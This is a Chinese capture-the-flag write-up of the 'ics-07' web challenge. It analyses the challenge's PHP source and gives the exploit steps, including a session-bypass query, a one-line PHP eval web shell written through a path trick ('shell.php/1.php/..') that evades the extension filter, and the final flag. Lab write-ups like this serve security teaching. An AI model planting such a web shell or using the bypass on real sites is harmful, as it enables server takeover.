码迷,mamicode.com
首页 > Web开发 > 详细

攻防世界web ics-07

时间:2020-06-23 21:36:32      阅读:173      评论:0      收藏:0      [点我收藏+]

标签:index   loading   ack   sql   img   isset   一句话   header   一句话木马   

技术图片

 

 

打开环境 根据提示找到

技术图片

 

 

得到网站源码

技术图片

 

 
这源码分为三段

一段一段分析

 

技术图片

 

 

第一段:

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
      include(‘flag.php‘);
    }else {
      header(‘Location: ?page=flag.php‘);
    }

    ?>

参数 page 存在 且 参数page不等于index.php  才包含flag.php

 

技术图片

 

 

第二段:

 <?php
     if ($_SESSION[‘admin‘]) {
       $con = $_POST[‘con‘];
       $file = $_POST[‘file‘];
       $filename = "backup/".$file;

       if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename)){
          die("Bad file extension");
       }else{
            chdir(‘uploaded‘);
           $f = fopen($filename, ‘w‘);
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

session["admin"] 要拿到admin的session,  将$con 的内容 写到$file  

 if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename))  过滤掉后缀 是 .php3,.php4,.php5,.php7,.t,.tml

chdir(‘uploaded‘); 这里切换了路径 真实的路径在 uploaded下面

 

技术图片

 

 

 

第三段:

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
        include ‘config.php‘;
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id=‘$id‘";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION[‘admin‘] = True;
      }
     ?>

id 存在   ,floatval($_GET[id]) !== ‘1‘  浮点不为1  ,substr($_GET[id], -1) === ‘9‘  最后一位为9

 

三段代码分析结束了,

 

首先我们要得到admin 

构造payload: ?page=flag.php&id=1-9&submit   (page为flag.php,使用1-9来绕过第二端过滤)

技术图片

 

 

第二步:

我们要写入一句话木马

con为 文件内容  file为文件名  post上传

构造payload: con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/..

技术图片

 

 

 

技术图片

 

上传成功

使用蚁剑连接

技术图片

 

 

技术图片

 

 

得到flag

cyberpeace{c4c0ee17bb51a571444ffb3edc04a087}

 

攻防世界web ics-07

标签:index   loading   ack   sql   img   isset   一句话   header   一句话木马   

原文地址:https://www.cnblogs.com/zhangzhijie98/p/13184297.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!